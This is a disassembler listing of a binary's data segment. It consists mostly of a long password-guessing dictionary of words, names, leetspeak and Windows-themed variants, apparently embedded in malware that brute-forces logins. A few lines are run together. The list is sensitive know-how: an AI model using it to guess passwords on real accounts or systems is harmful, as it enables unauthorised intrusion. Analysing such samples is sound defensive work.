a@_2		db '%$#@!',0            ; DATA XREF: seg002:004242C8o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg002:004242C4o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg002:004242C0o
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg002:004242BCo
		align 4
asc_425658	db '$$$',0              ; DATA XREF: seg002:004242B8o
asc_42565C	db '$$',0               ; DATA XREF: seg002:004242B4o
		align 10h
asc_425660:				; DATA XREF: seg002:004242B0o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg002:004242ACo
		align 4
a789_0		db '789+',0             ; DATA XREF: seg002:004242A8o
		align 4
a0		db '=-0',0              ; DATA XREF: seg002:004242A4o
asc_425678	db '--++',0             ; DATA XREF: seg002:004242A0o
		align 10h
asc_425680	db '-+',0               ; DATA XREF: seg002:0042429Co
		align 4
asc_425684	db '----',0             ; DATA XREF: seg002:00424298o
		align 4
asc_42568C	db '--',0               ; DATA XREF: seg002:00424290o
					; seg002:00424294o
		align 10h
asc_425690:				; DATA XREF: seg002:0042428Co
		unicode	0, <->,0
asc_425694	db '++++',0             ; DATA XREF: seg002:00424288o
		align 4
asc_42569C	db '+++',0              ; DATA XREF: seg002:00424284o
asc_4256A0	db '++',0               ; DATA XREF: seg002:00424280o
		align 4
asc_4256A4:				; DATA XREF: seg002:0042427Co
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg002:00424278o
		align 4
a@_6:					; DATA XREF: seg000:0040917Do
					; seg002:00424274o
		unicode	0, <@>,0
off_4256B0	dd offset loc_402121	; DATA XREF: seg002:00424270o
dword_4256B4	dd 2121h	dword_4256B8	dd 24234021h, 2A265E25h, 0dword_4256C4	dd 24234021h, 265E25hdword_4256CC	dd 24234021h, 5E25hdword_4256D4	dd 24234021h, 25hdword_4256DC	dd 234021h	dword_4256E0	dd 4021h	dword_4256E4	dd 21h							; seg000:0040DDB9o ...
dword_4256E8	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: seg002:00424244o
		align 4
aZap		db 'zap',0              ; DATA XREF: seg002:00424240o
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg002:0042423Co
aXyz		db 'xyz',0              ; DATA XREF: seg002:00424238o
					; seg002:00424730o
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg002:00424234o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg002:00424230o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg002:0042422Co
		align 4
aTty		db 'tty',0              ; DATA XREF: seg002:00424228o
aTopography	db 'topography',0       ; DATA XREF: seg002:00424224o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg002:00424220o
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: seg002:0042421Co
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg002:00424218o
		align 4
aSys		db 'sys',0              ; DATA XREF: seg002:00424214o
aSupported	db 'supported',0        ; DATA XREF: seg002:00424210o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg002:0042420Co
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg002:00424208o
		align 10h
aSun		db 'sun',0              ; DATA XREF: seg002:00424204o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg002:00424200o
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: seg002:004241FCo
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg002:004241F8o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg002:004241F4o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg002:004241F0o
		align 10h
aSal		db 'sal',0              ; DATA XREF: seg002:004241ECo
aRochester	db 'rochester',0        ; DATA XREF: seg002:004241E8o
		align 10h
aRje		db 'rje',0              ; DATA XREF: seg002:004241E4o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg002:004241E0o
		align 4
aPub		db 'pub',0              ; DATA XREF: seg002:004241DCo
aProfessor	db 'professor',0        ; DATA XREF: seg002:004241D8o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: seg002:004241D4o
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: seg002:004241D0o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: seg002:004241CCo
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: seg002:004241C8o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: seg002:004241C4o
		align 10h
aPam		db 'pam',0              ; DATA XREF: seg002:004241C0o
aPad		db 'pad',0              ; DATA XREF: seg002:004241BCo
aOceanography	db 'oceanography',0     ; DATA XREF: seg002:004241B8o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: seg002:004241B4o
		align 4
aNew		db 'new',0              ; DATA XREF: seg002:004241B0o
aNet		db 'net',0              ; DATA XREF: seg002:004241ACo
aMit		db 'mit',0              ; DATA XREF: seg002:004241A8o
aMgr		db 'mgr',0              ; DATA XREF: seg002:004241A4o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg002:004241A0o
		align 10h
aLiz		db 'liz',0              ; DATA XREF: seg002:0042419Co
aLee		db 'lee',0              ; DATA XREF: seg002:00424198o
aLamination	db 'lamination',0       ; DATA XREF: seg002:00424194o
		align 4
aKim		db 'kim',0              ; DATA XREF: seg002:00424190o
aKey		db 'key',0              ; DATA XREF: seg002:0042418Co
aJoy		db 'joy',0              ; DATA XREF: seg002:00424188o
aJen		db 'jen',0              ; DATA XREF: seg002:00424184o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg002:00424180o
		align 10h
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg002:0042417Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:00424178o
aHappening	db 'happening',0        ; DATA XREF: seg002:00424174o
		align 4
aHal		db 'hal',0              ; DATA XREF: seg002:00424170o
aGnu		db 'gnu',0              ; DATA XREF: seg002:0042416Co
aFun		db 'fun',0              ; DATA XREF: seg002:00424168o
aForesight	db 'foresight',0        ; DATA XREF: seg002:00424164o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: seg002:00424160o
		align 10h
aExtension	db 'extension',0        ; DATA XREF: seg002:0042415Co
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg002:00424158o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: seg002:00424154o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg002:00424150o
		align 10h
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg002:0042414Co
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg002:00424148o
		align 4
aDos		db 'dos',0              ; DATA XREF: seg002:00424144o
aDog		db 'dog',0              ; DATA XREF: seg002:00424140o
aDiscovery	db 'discovery',0        ; DATA XREF: seg002:0042413Co
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg002:00424138o
		align 4
aDeb		db 'deb',0              ; DATA XREF: seg002:00424134o
aCornelius	db 'cornelius',0        ; DATA XREF: seg002:00424130o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: seg002:0042412Co
		align 4
aChristine	db 'christine',0        ; DATA XREF: seg002:00424128o
		align 10h
aChristina	db 'christina',0        ; DATA XREF: seg002:00424124o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg002:00424120o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: seg002:0042411Co
		align 4
aCat		db 'cat',0              ; DATA XREF: seg002:00424118o
aCampanile	db 'campanile',0        ; DATA XREF: seg002:00424114o
		align 4
aCad		db 'cad',0              ; DATA XREF: seg002:00424110o
aBsd		db 'bsd',0              ; DATA XREF: seg002:0042410Co
aBob		db 'bob',0              ; DATA XREF: seg002:00424108o
aBicameral	db 'bicameral',0        ; DATA XREF: seg002:00424104o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg002:00424100o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg002:004240FCo
		align 4
aAsm		db 'asm',0              ; DATA XREF: seg002:004240F8o
aAsd		db 'asd',0              ; DATA XREF: seg002:004240F4o
					; seg002:00424760o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg002:004240F0o
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg002:004240ECo
aAndromache	db 'andromache',0       ; DATA XREF: seg002:004240E8o
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg002:004240E4o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg002:004240E0o
		align 4
aAma		db 'ama',0              ; DATA XREF: seg002:004240DCo
aAlf		db 'alf',0              ; DATA XREF: seg002:004240D8o
aAlbatross	db 'albatross',0        ; DATA XREF: seg002:004240D4o
		align 10h
aAda		db 'ada',0              ; DATA XREF: seg002:004240D0o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg002:004240CCo
		align 10h
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg002:004240C8o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg002:004240C4o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: seg002:004240C0o
		align 4
aHax		db 'hax',0              ; DATA XREF: seg002:004240BCo
aWh0re		db 'wh0re',0            ; DATA XREF: seg002:004240B8o
		align 4
aHo		db 'ho',0               ; DATA XREF: seg002:004240B4o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg002:004240B0o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: seg002:004240ACo
		align 10h
aWindoze98	db 'windoze98',0        ; DATA XREF: seg002:004240A8o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg002:004240A4o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg002:004240A0o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: seg002:0042409Co
		align 10h
aWindows95	db 'windows95',0        ; DATA XREF: seg002:00424098o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg002:00424094o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: seg002:00424090o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: seg002:0042408Co
		align 10h
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg002:00424088o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg002:00424084o
		align 10h
aM_0		db 'M$',0               ; DATA XREF: seg002:00424080o
		align 4
aBilly		db 'billy',0            ; DATA XREF: seg002:0042407Co
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg002:00424078o
aWindoze	db 'windoze',0          ; DATA XREF: seg002:00424074o
aWindowz	db 'windowz',0          ; DATA XREF: seg002:00424070o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg002:0042406Co
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg002:00424068o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg002:00424064o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg002:00424060o
		align 10h
aDud3		db 'dud3',0             ; DATA XREF: seg002:0042405Co
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg002:00424058o
aD00d		db 'd00d',0             ; DATA XREF: seg002:00424054o
		align 4
aLol		db 'lol',0              ; DATA XREF: seg002:00424050o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg002:0042404Co
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg002:00424048o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: seg002:00424044o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg002:00424040o
		align 4
aTestin		db 'testin',0           ; DATA XREF: seg002:0042403Co
		align 4
aTester		db 'tester',0           ; DATA XREF: seg002:00424038o
		align 4
a00000000	db '00000000',0         ; DATA XREF: seg002:00424034o
					; seg002:004242F0o
		align 10h
aZulu		db 'zulu',0             ; DATA XREF: seg002:00424030o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg002:0042402Co
		align 10h
aZmodem		db 'zmodem',0           ; DATA XREF: seg002:00424028o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg002:00424024o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: seg002:00424020o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg002:0042401Co
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg002:00424018o
		align 10h
aYoung		db 'young',0            ; DATA XREF: seg002:00424014o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg002:00424010o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: seg002:0042400Co
aYellowst	db 'yellowst',0         ; DATA XREF: seg002:00424008o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg002:00424004o
		align 10h
aYankee		db 'yankee',0           ; DATA XREF: seg002:00424000o
		align 4
aYang		db 'yang',0             ; DATA XREF: seg002:00423FFCo
					; seg002:00424738o
		align 10h
aYaco		db 'yaco',0             ; DATA XREF: seg002:00423FF8o
					; seg002:00424734o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg002:00423FF4o
		align 10h
aXray		db 'xray',0             ; DATA XREF: seg002:00423FF0o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg002:00423FECo
		align 10h
aXmen		db 'xmen',0             ; DATA XREF: seg002:00423FE8o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg002:00423FE4o
		align 10h
aXfer		db 'xfer',0             ; DATA XREF: seg002:00423FE0o
		align 4
aXena		db 'xena',0             ; DATA XREF: seg002:00423FDCo
		align 10h
aWyoming	db 'wyoming',0          ; DATA XREF: seg002:00423FD8o
aWwii		db 'wwii',0             ; DATA XREF: seg002:00423FD4o
		align 10h
aWormwood	db 'wormwood',0         ; DATA XREF: seg002:00423FD0o
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg002:00423FCCo
		align 4
aWork		db 'work',0             ; DATA XREF: seg002:00423FC8o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg002:00423FC4o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: seg002:00423FC0o
		align 10h
aWord		db 'word',0             ; DATA XREF: seg002:00423FBCo
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg002:00423FB8o
		align 4
aWood		db 'wood',0             ; DATA XREF: seg002:00423FB4o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg002:00423FB0o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: seg002:00423FACo
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg002:00423FA8o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: seg002:00423FA4o
		align 10h
aWolf		db 'wolf',0             ; DATA XREF: seg002:00423FA0o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: seg002:00423F9Co
		align 10h
aWithin		db 'within',0           ; DATA XREF: seg002:00423F98o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg002:00423F94o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg002:00423F90o
		align 4
aWired		db 'wired',0            ; DATA XREF: seg002:00423F8Co
		align 4
aWinston	db 'winston',0          ; DATA XREF: seg002:00423F88o
aWing		db 'wing',0             ; DATA XREF: seg002:00423F84o
		align 4
aWine		db 'wine',0             ; DATA XREF: seg002:00423F80o
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:00423F7Co
aWilma		db 'wilma',0            ; DATA XREF: seg002:00423F78o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg002:00423F74o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: seg002:00423F70o
		align 10h
aWilliam	db 'william',0          ; DATA XREF: seg002:00423F6Co
aWill		db 'will',0             ; DATA XREF: seg002:00423F68o
		align 10h
aWhore		db 'whore',0            ; DATA XREF: seg002:00423F64o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg002:00423F60o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: seg002:00423F5Co
aWhiting	db 'whiting',0          ; DATA XREF: seg002:00423F58o
aWhite		db 'white',0            ; DATA XREF: seg002:00423F54o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg002:00423F50o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: seg002:00423F4Co
aWhatever	db 'whatever',0         ; DATA XREF: seg002:00423F48o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg002:00423F44o
aWest		db 'west',0             ; DATA XREF: seg002:00423F40o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg002:00423F3Co
		align 4
aWendy		db 'wendy',0            ; DATA XREF: seg002:00423F38o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg002:00423F34o
		align 4
aWell		db 'well',0             ; DATA XREF: seg002:00423F30o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg002:00423F2Co
		align 4
aWeed		db 'weed',0             ; DATA XREF: seg002:00423F28o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg002:00423F24o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg002:00423F20o
aWave		db 'wave',0             ; DATA XREF: seg002:00423F1Co
		align 4
aWater		db 'water',0            ; DATA XREF: seg002:00423F18o
		align 10h
aWatchwor	db 'watchwor',0         ; DATA XREF: seg002:00423F14o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg002:00423F10o
		align 4
aWarren		db 'warren',0           ; DATA XREF: seg002:00423F0Co
		align 4
aWarp		db 'warp',0             ; DATA XREF: seg002:00423F08o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: seg002:00423F04o
		align 10h
aWarfare	db 'warfare',0          ; DATA XREF: seg002:00423F00o
aWarez		db 'warez',0            ; DATA XREF: seg002:00423EFCo
		align 10h
aWard		db 'ward',0             ; DATA XREF: seg002:00423EF8o
		align 4
aWaco		db 'waco',0             ; DATA XREF: seg002:00423EF4o
		align 10h
aVodka		db 'vodka',0            ; DATA XREF: seg002:00423EF0o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: seg002:00423EECo
		align 4
aVisual		db 'visual',0           ; DATA XREF: seg002:00423EE8o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: seg002:00423EE4o
aVirus		db 'virus',0            ; DATA XREF: seg002:00423EE0o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: seg002:00423EDCo
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: seg002:00423ED8o
		align 10h
aVillage	db 'village',0          ; DATA XREF: seg002:00423ED4o
aVideogam	db 'videogam',0         ; DATA XREF: seg002:00423ED0o
		align 4
aVideo		db 'video',0            ; DATA XREF: seg002:00423ECCo
		align 4
aVictor		db 'victor',0           ; DATA XREF: seg002:00423EC8o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: seg002:00423EC4o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: seg002:00423EC0o
aVeronica	db 'veronica',0         ; DATA XREF: seg002:00423EBCo
		align 10h
aVenus		db 'venus',0            ; DATA XREF: seg002:00423EB8o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: seg002:00423EB4o
		align 10h
aVampire	db 'vampire',0          ; DATA XREF: seg002:00423EB0o
aValerie	db 'valerie',0          ; DATA XREF: seg002:00423EACo
aVagina		db 'vagina',0           ; DATA XREF: seg002:00423EA8o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: seg002:00423EA4o
		align 10h
aUtility	db 'utility',0          ; DATA XREF: seg002:00423EA0o
aUtil		db 'util',0             ; DATA XREF: seg002:00423E9Co
		align 10h
aUsmc		db 'usmc',0             ; DATA XREF: seg002:00423E98o
		align 4
aUsername	db 'username',0         ; DATA XREF: seg002:00423E94o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: seg002:00423E90o
		align 10h
aUsenet		db 'usenet',0           ; DATA XREF: seg002:00423E8Co
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: seg002:00423E88o
		align 10h
aUrchin		db 'urchin',0           ; DATA XREF: seg002:00423E84o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: seg002:00423E80o
		align 10h
aUpload		db 'upload',0           ; DATA XREF: seg002:00423E7Co
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: seg002:00423E78o
		align 10h
aUnknown_0	db 'unknown',0          ; DATA XREF: seg002:00423E74o
aUniversi	db 'universi',0         ; DATA XREF: seg002:00423E70o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: seg002:00423E6Co
		align 10h
aUniversa	db 'universa',0         ; DATA XREF: seg002:00423E68o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: seg002:00423E64o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg002:00423E60o
aUnhappy	db 'unhappy',0          ; DATA XREF: seg002:00423E5Co
aUndo		db 'undo',0             ; DATA XREF: seg002:00423E58o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: seg002:00423E54o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: seg002:00423E50o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: seg002:00423E4Co
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: seg002:00423E48o
		align 4
aTurn		db 'turn',0             ; DATA XREF: seg002:00423E44o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: seg002:00423E40o
aTubas		db 'tubas',0            ; DATA XREF: seg002:00423E3Co
		align 4
aTruth		db 'truth',0            ; DATA XREF: seg002:00423E38o
		align 4
aTrue		db 'true',0             ; DATA XREF: seg002:00423E34o
		align 4
aTron		db 'tron',0             ; DATA XREF: seg002:00423E30o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: seg002:00423E2Co
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: seg002:00423E28o
		align 10h
aTrivial	db 'trivial',0          ; DATA XREF: seg002:00423E24o
aTrisha		db 'trisha',0           ; DATA XREF: seg002:00423E20o
		align 10h
aTrek		db 'trek',0             ; DATA XREF: seg002:00423E1Co
		align 4
aTree		db 'tree',0             ; DATA XREF: seg002:00423E18o
		align 10h
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg002:00423E14o
		align 4
aTrap		db 'trap',0             ; DATA XREF: seg002:00423E10o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: seg002:00423E0Co
		align 10h
aTrails		db 'trails',0           ; DATA XREF: seg002:00423E08o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: seg002:00423E04o
		align 10h
aTracie		db 'tracie',0           ; DATA XREF: seg002:00423E00o
		align 4
aTraci		db 'traci',0            ; DATA XREF: seg002:00423DFCo
		align 10h
aToyota		db 'toyota',0           ; DATA XREF: seg002:00423DF8o
					; seg002:00424708o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: seg002:00423DF4o
		align 10h
aTortoise	db 'tortoise',0         ; DATA XREF: seg002:00423DF0o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: seg002:00423DECo
		align 4
aTomato		db 'tomato',0           ; DATA XREF: seg002:00423DE8o
		align 10h
aTokenrin	db 'tokenrin',0         ; DATA XREF: seg002:00423DE4o
		align 4
aToken		db 'token',0            ; DATA XREF: seg002:00423DE0o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: seg002:00423DDCo
		align 4
aToad		db 'toad',0             ; DATA XREF: seg002:00423DD8o
		align 4
aTits		db 'tits',0             ; DATA XREF: seg002:00423DD4o
		align 4
aTina		db 'tina',0             ; DATA XREF: seg002:00423DD0o
		align 4
aTime		db 'time',0             ; DATA XREF: seg002:00423DCCo
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg002:00423DC8o
					; seg002:004246FCo
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: seg002:00423DC4o
aThursday	db 'thursday',0         ; DATA XREF: seg002:00423DC0o
		align 4
aThin		db 'thin',0             ; DATA XREF: seg002:00423DBCo
		align 10h
aTheresa	db 'theresa',0          ; DATA XREF: seg002:00423DB8o
aThailand	db 'thailand',0         ; DATA XREF: seg002:00423DB4o
		align 4
aText		db 'text',0             ; DATA XREF: seg002:00423DB0o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg002:00423DACo
		align 4
aTess		db 'tess',0             ; DATA XREF: seg002:00423DA8o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg002:00423DA4o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: seg002:00423DA0o
		align 4
aTera		db 'tera',0             ; DATA XREF: seg002:00423D9Co
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg002:00423D98o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: seg002:00423D94o
		align 10h
aTelnet		db 'telnet',0           ; DATA XREF: seg002:00423D90o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: seg002:00423D8Co
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: seg002:00423D88o
aTeen		db 'teen',0             ; DATA XREF: seg002:00423D84o
		align 4
aTech		db 'tech',0             ; DATA XREF: seg002:00423D80o
		align 4
aTears		db 'tears',0            ; DATA XREF: seg002:00423D7Co
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: seg002:00423D78o
		align 4
aTeam		db 'team',0             ; DATA XREF: seg002:00423D74o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: seg002:00423D6Co
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg002:00423D68o
		align 4
aTarget		db 'target',0           ; DATA XREF: seg002:00423D64o
		align 10h
aTara		db 'tara',0             ; DATA XREF: seg002:00423D60o
		align 4
aTape		db 'tape',0             ; DATA XREF: seg002:00423D5Co
		align 10h
aTango		db 'tango',0            ; DATA XREF: seg002:00423D58o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: seg002:00423D54o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: seg002:00423D50o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg002:00423D4Co
		align 4
aTami		db 'tami',0             ; DATA XREF: seg002:00423D48o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg002:00423D44o
		align 4
aTall		db 'tall',0             ; DATA XREF: seg002:00423D40o
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg002:00423D3Co
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: seg002:00423D38o
aSysop		db 'sysop',0            ; DATA XREF: seg002:00423D34o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg002:00423D30o
		align 10h
aSymmetry	db 'symmetry',0         ; DATA XREF: seg002:00423D2Co
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg002:00423D28o
		align 4
aSword		db 'sword',0            ; DATA XREF: seg002:00423D24o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg002:00423D20o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: seg002:00423D1Co
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg002:00423D18o
aSuzie		db 'suzie',0            ; DATA XREF: seg002:00423D14o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg002:00423D10o
aSusie		db 'susie',0            ; DATA XREF: seg002:00423D0Co
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg002:00423D08o
aSusan		db 'susan',0            ; DATA XREF: seg002:00423D04o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg002:00423D00o
aSurfer		db 'surfer',0           ; DATA XREF: seg002:00423CFCo
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg002:00423CF8o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg002:00423CF4o
aSupervis	db 'supervis',0         ; DATA XREF: seg002:00423CF0o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg002:00423CECo
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg002:00423CE8o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: seg002:00423CE4o
		align 10h
aSuperman	db 'superman',0         ; DATA XREF: seg002:00423CE0o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg002:00423CDCo
		align 4
aSummer		db 'summer',0           ; DATA XREF: seg002:00423CD8o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg002:00423CD4o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg002:00423CD0o
		align 10h
aSuck		db 'suck',0             ; DATA XREF: seg002:00423CCCo
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg002:00423CC8o
aSubway		db 'subway',0           ; DATA XREF: seg002:00423CC4o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg002:00423CC0o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg002:00423CBCo
		align 10h
aStrip		db 'strip',0            ; DATA XREF: seg002:00423CB4o
		align 4
aString		db 'string',0           ; DATA XREF: seg002:00423CB0o
		align 10h
aStreetfi	db 'streetfi',0         ; DATA XREF: seg002:00423CACo
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg002:00423CA8o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg002:00423CA4o
		align 4
aStrange	db 'strange',0          ; DATA XREF: seg002:00423CA0o
aStones		db 'stones',0           ; DATA XREF: seg002:00423C9Co
		align 4
aStoned		db 'stoned',0           ; DATA XREF: seg002:00423C98o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg002:00423C94o
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg002:00423C90o
		align 10h
aStereo		db 'stereo',0           ; DATA XREF: seg002:00423C8Co
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg002:00423C88o
		align 4
aSteph		db 'steph',0            ; DATA XREF: seg002:00423C84o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg002:00423C80o
		align 4
aSteal		db 'steal',0            ; DATA XREF: seg002:00423C7Co
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg002:00423C78o
		align 4
